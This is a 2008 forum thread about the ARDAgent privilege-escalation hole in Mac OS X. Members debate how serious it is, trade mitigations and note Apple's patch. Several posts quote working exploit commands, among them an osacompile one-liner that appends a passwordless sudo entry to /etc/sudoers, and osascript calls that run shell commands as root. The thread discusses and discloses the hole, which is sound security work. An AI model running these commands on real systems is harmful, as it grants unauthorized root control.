[turtle777]

Originally Posted by Horsepoo!!! 

'tards be invadin' MacNN.

Well, you came here, does that count ?

-t

[P]

On Apple's current iMacs, getting to the harddrive and disassembling it takes some fifteen minutes and requires special tools.

Originally Posted by Horsepoo!!! 

You gotta be shittin' me. Some computers do in fact make it difficult to access the hard drive but other computers (like say a Mac Pro) is a matter of snipping a lock, pulling a latch, pulling a drawer and snatching the HD with zero tools. You might be slow to remove hard drives but even I can pull a hard drive from a machine within 1 or 2 minutes.

Yes, a Mac Pro would be easy to disassemble. That is the reason I didn't mention the Mac Pro. In fact, I don't think you should put one of those in a lab unless it was in one of those cages.

Originally Posted by Horsepoo!!! 

Not sure about the Mac mini? WTF...nobody's gonna remove a Mac mini drive, they'll just drop the Mac mini in a small bag and run.

Hopefully a public Mac is secured to the desk somehow, such as with a security cable.

Originally Posted by Horsepoo!!! 

And NO...everyone who thinks a hacker will try to hack into a computer lab computer is dumb...those machines are ghosted everyday.

Beware of generalizing from your own experiences. Specifically, the one where I worked for three years did not re-ghost the machines every night. The system was locked down to the point of users not being able to change anything, and only reghosted once a year. We had the ability to ghost the machines at will, remotely, but it wasn't anything we did regularly.

Originally Posted by Horsepoo!!! 

Even if the lab computer is compromised, the next day it won't be.

So a hacker would only have 24 hours to run his keyboard sniffer before every evidence being conveniently wiped - well unless he did something fiendishly clever. Like reinstalling the same thing the next morning.

A hacker armed with this specific exploit can use it to steal passwords in a computer lab or Applestore, and periodic reghosting would only make it easier to hide. That's serious enough.

Originally Posted by Horsepoo!!! 

'tards be invadin' MacNN.

I guess it takes one to know one.

[analogika]

Originally Posted by P 

Yes, a Mac Pro would be easy to disassemble. That is the reason I didn't mention the Mac Pro. In fact, I don't think you should put one of those in a lab unless it was in one of those cages.

The Mac Pro case can be locked with the little flip-down metal bit behind the lever.

[TETENAL]

Originally Posted by analogika 

The Mac Pro case can be locked with the little flip-down metal bit behind the lever.

[mduell]

Originally Posted by - - e r i k - - 

Correct me if I'm wrong, but this exploit only works with physical access (gui user + terminal), no?

I'm thinking of kiosks and similar, where you have the controls but no physical access to the computer.

[CharlesS]

Originally Posted by P 

So a hacker would only have 24 hours to run his keyboard sniffer before every evidence being conveniently wiped - well unless he did something fiendishly clever. Like reinstalling the same thing the next morning.

Or, ya know, disabling the mechanism that automatically reghosts the machine. You do have root, after all.

And as for the Mac Pros, well, yeah you can open them quickly - if you pull them out of the little cage underneath the desk first. Which usually requires you to climb behind it and pull all the cables out first. I used to work in a lab full of G4 towers, which were even easier to open than Mac Pros, but if you tried to yank a hard drive out of one, the lab monitor would have to be asleep not to notice.

[- - e r i k - -]

Well, there you go. Famed PWN2OWN winner (the guy that hacked and won a MBP last year) Dino Dai Zovi agrees with me and calls it "not nearly that serious." A far cry from Huge, Crazy and Ridiculous in any case Cpt Hyperbole.

Full article as well as a security wish list for Snow Leopard that might be of interest to people here:

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

[CharlesS]

Yeah I know, because it only works if you're logged into the GUI, so it doesn't affect all three Macs that are being used in some fashion other than that. Ooh.

[- - e r i k - -]

Egg-sactly

[Person Man]

Originally Posted by CharlesS 

And as for the Mac Pros, well, yeah you can open them quickly - if you pull them out of the little cage underneath the desk first.

This assumes that the Mac Pro unit is in a "little cage underneath the desk." A few years ago I visited Ohio University (where I went to school) and in one of the labs in the library the Power Mac G5's were out in the open on top of the desks next to the monitors. And they all had strong locks on the back.

Which usually requires you to climb behind it and pull all the cables out first. I used to work in a lab full of G4 towers, which were even easier to open than Mac Pros, but if you tried to yank a hard drive out of one, the lab monitor would have to be asleep not to notice.

Not to mention that at Ohio University the G5s were all on tables packed three to a side (six per table) and the tables were right next to the lab desk and there were security cameras everywhere. There are always more people using the Macs than the Windows machines. I imagine they have Mac Pros there now. The insides might be vastly different, but the case is largely the same.

One would have to be a fool to pull out a pair of bolt cutters to take off the lock and then try to open the machine in that particular lab.

Oh, and firmware passwords were on. Not for keeping people out of the system, but for keeping them from trying to boot off a CD or USB thumb drive.

[mduell]

Originally Posted by - - e r i k - - 

Well, there you go. Famed PWN2OWN winner (the guy that hacked and won a MBP last year) Dino Dai Zovi agrees with me and calls it "not nearly that serious." A far cry from Huge, Crazy and Ridiculous in any case Cpt Hyperbole.

Full article as well as a security wish list for Snow Leopard that might be of interest to people here:

How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com

I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.

[Chuckit]

Originally Posted by mduell 

I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.

Yeah, this is about as bad as what he did, as I recall. If this isn't very serious, neither are his credentials.

[turtle777]

Originally Posted by Chuckit 

Yeah, this is about as bad as what he did, as I recall. If this isn't very serious, neither are his credentials.

QFT

Originally Posted by mduell 

I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.

Well, it's rather obvious to me.

He did it the nerdy way, this security hole can be used by a 3 year old script kiddy.

-t

[mduell]

Originally Posted by turtle777 

Well, it's rather obvious to me.

He did it the nerdy way, this security hole can be used by a 3 year old script kiddy

More accessable -> less bad? WTF?

[turtle777]

Originally Posted by mduell 

More accessable -> less bad? WTF?

Huh ?

Dude is downplaying the EASIER way (i.e. more accessible way) because he wants to be praised for his 1337 haxxor skills.

-t

[Tamika]

Originally Posted by Peter 

This isn't that bad. Ironically it'd be most severe to computers such as ones in the Apple Store.
You can't do it over SSH. You need physical access, and you need to be logged in for it to work.

I just saw this. remote login Trojan - TSF - Mac Security Forums

$ ssh angel@localhost
Password:
Last login: Wed Jun 25 06:16:21 2008
Welcome to Darwin!
$ osacompile -e 'global my_username' -e 'set my_username to system attribute "USER"' -e 'on sudoers()' -e 'try' -e 'tell application "ARDAgent" to do shell script "echo \"" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL\" >> /etc/sudoers"' -e 'on error' -e 'sudoers()' -e 'end try' -e 'end sudoers' -e 'sudoers()' -o for_remote_cli_sessions.app
$ open for_remote_cli_sessions.app/
$ sudo cat /etc/sudoers
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.
#

# Host alias specification

# User alias specification

# Cmnd alias specification

# Defaults specification

# Runas alias specification

# User privilege specification
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands
# %wheel ALL=(ALL) ALL

# Same thing without a password
# %wheel ALL=(ALL) NOPASSWD: ALL

# Samples
# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users localhost=/sbin/shutdown -h now
angel ALL=(ALL) NOPASSWD: ALL
$

[Person Man]

Originally Posted by Tamika 

I just saw this. remote login Trojan - TSF - Mac Security Forums

Yes, so?

You need SSH access for this to work. Most users have SSH disabled on their boxes by default and these days, if you turn on SSH without disabling password logins (i.e. using a public/private key pair) you deserve to get pwned.

I hope Apple fixes this soon.

[Sherman Homan]

No change in the 10.5.4 update released today...!

[SleePyCode]

That is stupid. They didn't fix it
At least the changed permissions work for now..
I noticed that these errors get logged in console as well after the permission change:

6/30/08 4:31:04 PM ARDAgent [781] ********ARDAgent Launched********
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective UID.
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective GID.
6/30/08 4:31:04 PM com.apple.launchd[255] ([0x0-0x2e02e].com.apple.RemoteDesktopAgent[781]) Check-in of Mach service failed. PID 781 is not privileged: com.apple.RemoteDesktop.agent
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective UID.
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective GID.
6/30/08 4:31:04 PM ARDAgent [781] ********ARDAgent Ready********

Seems it attempts to make itself privileged! That is very stupid..

[themacjedicali]

this may have already been said, but entering

osascript -e 'tell application "ARDAgent" to do shell script "whoami"'

does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple said.

if you wnat more detail, do the following

osascript -e 'tell application "ARDAgent" to do shell script "id"' and you will see the paper trail

THanks for the great post and the heads up!

[Person Man]

Originally Posted by themacjedicali 

this may have already been said, but entering

osascript -e 'tell application "ARDAgent" to do shell script "whoami"'

does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple said.

if you wnat more detail, do the following

osascript -e 'tell application "ARDAgent" to do shell script "id"' and you will see the paper trail

THanks for the great post and the heads up!

Nope.

The AppleScript is running as root. You might not be able to get a root shell, but the AppleScript has root access and a malicious programmer can write an AppleScript that does all sorts of bad things.

This may be working as Apple intended, but it is still a HUGE security problem.

[themacjedicali]

this may have already been said (and i could be wrong about this), but entering

osascript -e 'tell application "ARDAgent" to do shell script "whoami"'

does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple "said". Only problem is that, like others have said, is that you can have the ard agent do your bidding as you please by just whispering shell commands in its ear lol!

if you wnat more detail, do the following

osascript -e 'tell application "ARDAgent" to do shell script " <remove root-owned files >"'

THanks for the great post and the heads up!

[SleePyCode]

MacOsX1-2:~ jeremy$ id
uid=502(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),10 1(com.apple.sharepoint.group.1),79(_appserverusr), 80(admin)
MacOsX1-2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(c ertusers),3(sys),9(procmod),4(tty),101(com.apple.s harepoint.group.1),5(operator),80(admin),20(staff)
MacOsX1-2:~ jeremy$ chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
chmod: /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent: Operation not permitted
MacOsX1-2:~ jeremy$ sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
Password:
MacOsX1-2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
uid=502(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),10 1(com.apple.sharepoint.group.1),79(_appserverusr), 80(admin)

That was from one of my towers.

The point is it doesn't give root access, is it lets any user issue commands from the root user.

btw, this is local.. Even using SSH to another one of my tower results in this:

MacOsX2:~ jeremy$ id
uid=507(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),79 (_appserverusr),80(admin),101(com.apple.sharepoint .group.1)
MacOsX2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

[frdmfghtr]

Originally Posted by SleePyCode 

The point is it doesn't give root access, is it lets any user issue commands from the root user.

Gee, that sounds like the definition of "root access" to me. Could one of those commands be to give root access to the current user? (I ask because I don't know; I'm not a UNIX genius.)

[P]

I think the distinction is that the hack will not give an interactive root shell in his tests. Of course, his syntax is broken - e.g. root should run sudo, he is already root - so it may work with better syntax. If it doesn't work anyway, then it's still a very minor detail - if you have superuser access, you can change the root password, make /bin/bash setuid root or whatever, and there is your interactive root shell.

[TETENAL]

http://support.apple.com/kb/HT2647

[Big Mac]

[Simon]

Yep, a job well done.

[mduell]

Originally Posted by Simon 

Yep, a job well done.

By whom?

[Simon]

Originally Posted by mduell 

By whom?

Umm, the OP (CharlesS = Charles S r s t k a) of course. Did you read Apple's security note at all?

[CharlesS]

Well, I didn't do that good of a job, since I only found the bug that enabled this and didn't notice there was an AppleScript-aware setuid binary on the system that made it a full-fledged rootkit. If I'd noticed that and reported it years ago when I reported the original bug, this could have been fixed long before it ever would have shown up on Slashdot and gone public. Oh well.

It's still possible for non-privileged apps to send AppleScripts to root apps, unfortunately, but this update seems to have neutered "do shell script" and most of the rest of the stuff you could do with it (it says it prevents scripting additions from loading, so that would take care of most stuff the app developer didn't plan on, hopefully). I'd prefer that root apps wouldn't accept AppleScripts from non-root apps at all, but at least this will fix the exploit. Needless to say, everyone should run Software Update and get this patch. It appears to fix a bunch of other stuff, too, including the DNS bug.

[rem]

It appears to me as though Apple Security Update 2008-005 has changed permissions of ARDAgent.app. I did not notice any earlier update doing this. I could have missed it, but unlikely as I have been checking after system updates.

Since installing the aforementioned update, I noticed my permissions on ARDAgent.app are: drwxr-xr-x (755)

I had manually set permissions to 750 per a suggestion in this thread.

I ran Permissions Repair to see if it would be changed and got this message the first time only:

"Permissions differ on "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent", should be -rwsr-xr-x , they are -rwxr-xr-x ."

But this only showed up the first time I ran Permissions Repair after the security update and actually file permissions remain: drwxr-xr-x (755)

As an aside, now I persistently get these two messages:
Permissions differ on "Developer/Examples/JavaWebObjects/DataBaseSetUp/dbdump.sh", should be -rw-rw-r-- , they are -rwxrwxr-x .
Permissions differ on "Developer/Examples/JavaWebObjects/DatabaseSetup/dbdump.sh", should be -rwxrwxr-x , they are -rw-rw-r-- .

First it changes one way, then it changes back

[rem]

oops, I took a long time to write my post as I was doing something else too. Some one else already reported the same thing I did ^. I'm in Europe and thought most of you guys in US would be asleep

[rem]

Way to go Charles, congrats!

[analogika]

Originally Posted by Simon 

S r s t k a

How the hell do you pronounce that?

[Person Man]

Originally Posted by analogika 

How the hell do you pronounce that?

"Serstika?"

[OreoCookie]

Originally Posted by analogika 

How the hell do you pronounce that?

The same way it is spelled

[analogika]

I'm guessing "Zirska", but "you never can tell with bees."

[CharlesS]

We pronounce it sort of like "sir ska", but it's a simplified American pronunciation. When I went to Prague, they pronounced the "t", and put a little roll on the "r", and I can't even pronounce it the correct way. Oh well. That's what happens when a family is in America for a long time, I guess.

I do kind of wish my last name weren't posted in this thread, though - it makes MacNN come up in a Google search for my last name, which I've so far been trying to avoid. Oh well.

[besson3c]

Don't worry CharlesS, I will help!

Charles S. is the best guy that ever lived! He is a computer genius... Very pleasent to work with, a very smart dude, great rates, organized, manages his time well, is an excellent communicator, has incredible hygiene, and can solve just about any problem. He should definitely be hired!

There, now when people search for your name + besson3c, they will get this!

[CharlesS]

What?

[analogika]

I've edited your name in my post. I have no idea if that'll help.

[Gator Lager]

Ok now does todays Security Update 2008-005 fix this problem ?

[Person Man]

Originally Posted by Gator Lager 

Ok now does todays Security Update 2008-005 fix this problem ?

If you look at Apple page, they give credit to CharlesS for reporting the issue. It is indeed fixed.

[Gator Lager]

CharlesS Representing MacNN (and himself)
thanks CharlesS

[Gator Lager]

as for the security update, any other problems pop up ?

[Kenneth]

Good job! The update patch has been installed.

[Person Man]

Originally Posted by Gator Lager 

as for the security update, any other problems pop up ?

I haven't had any problems on my work machine (Core 2 Duo iMac) yet today since installing the update. And I run Parallels at work which usually has problems with several updates. So, so far.

[besson3c]

Originally Posted by Gator Lager 

as for the security update, any other problems pop up ?

Well, for some reason I can no longer use Applescript to to delete files owned by root without becoming root...

[frdmfghtr]

Apparently, the fix is a bit short on, well, "fix."

http://www.tuaw.com/2008/08/01/apple...ming-up-short/